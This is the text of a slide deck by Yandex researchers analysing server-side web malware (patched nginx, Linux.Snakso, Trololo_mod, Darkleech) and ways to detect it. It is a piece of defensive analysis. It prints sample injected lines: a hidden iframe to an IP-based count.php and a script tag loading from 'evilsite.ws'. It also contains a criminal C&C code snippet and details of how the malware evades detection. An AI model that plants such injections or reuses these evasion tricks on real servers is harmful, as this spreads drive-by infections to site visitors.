# Vandex

## Yandex

## Embedding malware in websites using executable web-server files

Evgeny Sidorov, Andrew Rassokhin

#### The Plan

- Short history of drive-by download attacks
- Modern methods of web-malware distribution
- Web-malware detection approaches

#### Evolution Of Web-malware Distribution

 Static content modification (iframe, object, script, embed etc.)

```
</body>
</html><iframe src="http://124.217." /~admin/count.php?o=1" width=0 height=0 style="hidden" frameborder=0 scrolling=no></iframe>
```

#### Obfuscated Javascript code

#### Evolution Of Web-malware Distribution

#### CMS Code modification

- Infected templates
- Nulled commercial CMS with backdoors


## Modern Methods Of Malware Distribution

- Web-server sources modification
- HTTP Response modification
- Installation of additional web-server modules

#### Web-server Sources Modification

- Harmful server redirects to \*.org.in started in Q1 2012 (a lot of big shared hosting providers were infected).
- Patched nginx was found and analyzed
- Redirect domains were changed to \*.in in Q2 2012
- Patched versions of Apache and lighttpd were also found

#### Redirects to \*.in Domains




#### Patched Version of NGINX

- Malware configuration is stored in shared memory and is never dumped to disk
- All malware-related strings are encrypted by XOR with static key (24 bytes)
- Configuration data are transmitted in encrypted form
- Contains backdoor functionality (remote shell, commands from C&C, config updates etc.)
- Hides from CMS administrator (checking special substrings availability in URL)

#### HTTP Response Modification


#### Linux.Snakso.1



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- Linux kernel loadable module
- Analysis and modification of outbound HTTP traffic (module hooks tcp\_sendmsg, IP isn't equal 127.0.0.1, port is equal 80, IP isn't blacklisted etc.)
- Defends its files and several paths in infected system (by hooking vfs\_readdir)
- Code for injection is obtained from C&C

#### Web-server Additional Modules



## Apache Modules for Malware Distribution

- Most popular free modules: mod\_substitute, mod\_rewrite etc.
- Most popular modules on black market: Trololo\_mod (400\$ - 800\$), Darkleech (1500\$)

#### Configuration of mod\_substitute

Malicious part of Apache config file

Result of processing HTTP Response

```
<script type="text/javascript" src="http://evilsite.ws/jquery.php"
></script></body></html>
```

#### Description of Trololo\_mod

- Made in Russia, appeared on black market in April, 2013
- Still isn't detected by anti-virus software
- Distributed in binary form (doesn't need development packages to be installed)


#### Functionality of Trololo\_mod

- Detects active session of server administrator (checks content of /var/run/utmp)
- Analyzes response body (Content-Type is "text/html", "</html>" tag in content etc.)
- Prevents repeated infection (sets special cookie PHPSESSIDD)
- Contains remote shell functions (in advanced version of the module)

#### Description of Darkleech Module

- Also made in Russia, date of appearance on black market is unknown to us
- Distributed in source codes (needs development packages and APXS to build and install)
- The most popular and expensive malware distribution module on black market

#### Servers with Installed Darkleech



#### Darkleech Apache Module Functionality


- All strings and configuration are encrypted by XOR (key length is randomly chosen in range 10 - 265 bytes)
- Registers 2 filters in Apache to hook server response
- Checks active administrator session on server (checks content of /var/run/utmp)
- Checks list of processes (tcpdump, rkhunter etc.)
- Analyzes server response (IP isn't blacklisted, IP isn't local, User-Agent isn't the one of a search robot etc.)

#### Darkleech Source Code Overview

- We analyzed "2012.08.07" version of Darkleech
- The code consists of module code and builder code
- Builder: collects usernames from system, local IP addresses etc. and generates configuration file.
- Builder: installs APXS package if it's not already installed in the system
- Builder: builds and installs module, removes source code from the infected server

#### Darkleech C&C Servers

#### About 90 modules analyzed



#### Darkleech C&C 217.23...

- Contained a list with about 38 000 infected hosts
- For every host there was a list of exploit pack landing pages URLs
- Was written on PHP and memcached was used as a database
- Checks whether hosts and exploit packs are available
- Sends SMS notifications via Ukrainian sms-gate (alphasms.ua)

#### Darkleech C&C 217.23...

Code which sends sms notifications

```
if( count($good) <= 4)
{
    $sms = new SMSclient('38097 ', '; ');
    $sms->sendSMS('Checker','+38097 ', "var good too small");
}
$g_filename = AC_DIR . DIRECTORY_SEPARATOR . 'good_predict';
```

Part of memcached content


```
Telnet 217.23.
            .142.201/c77adeb511408915d90d6fdf8e8fd822/q.php [33 b; 1366956600 s]
ITEM
            .233.128/be571ab11a90bac016ecadd730ec07a1/q.php [33 b; 1366956600 s]
TTEM
             .176.117/3b0c638b86bbb4be26f2522f6adf9579/q.php [33 b; 1366956600 s]
ITEM
TTEM
             .237.135/4e3e32adbb649e8494ec8ddb4d0b994f/q.php [33 b; 1366956600 s]
ITEM
            .238.137/bc281c73d9f4bfb347fd1dbf60f8feb3/q.php [33 b; 1366956600 s]
            .206.162/c4f717612c476605081a2d44f0d8afb8/q.php [33 b; 1366956600 s]
ITEM
            .220.118/a6b7e0bee925a304ec77c4d5acd393f8/q.php [33 b; 1366956600 s]
ITEM
TTEM
            .203.250/48e46d98717de27dbaa033f2a71733a2/q.php [33 b; 1366956600 s]
ITEM
            .212.106/13666e6445985b3e65139733efe016ff/q.php [33 b; 1366956600 s]
            .190.134/22cc2628801aef90d5637868db2173d7/q.php [33 b; 1366956600 s]
ITEM
            .195.238/37dd6e8489b8031a54ffb01a091cf6d4/q.php [33 b; 1366956600 s]
             230.137/286a18b8330b2f83aeaa6785fc23885b/g.php [33 b; 1366956600 s]
```

#### Common Methods of Detection

- Scanning files with antivirus software (but almost all new samples are always undetectable)
- Using anti-rootkit software (but only few samples had rootkit functionality)
- Checking hash sums of web-server executable files, all modules and configuration files (but config can be replaced by the original file after server is restarted with the harmful config file)

#### **Advanced Detection Method**

You may create traffic monitoring system



#### Our Services for Detection

- Yandex Safe Browsing API (database with malicious URLs that were found by our antivirus robot)
- Yandex Webmaster (extended info about your site including information about the malware found)

#### Yandex Safe Browsing API



http://safe.yandex.com/?from=vb2013

http://company.yandex.com/technologies/antivirus\_technology.xml

e-sidorov@yandex-team.ru gizmo@yandex-team.ru

https://github.com/e-sidorov/vb2013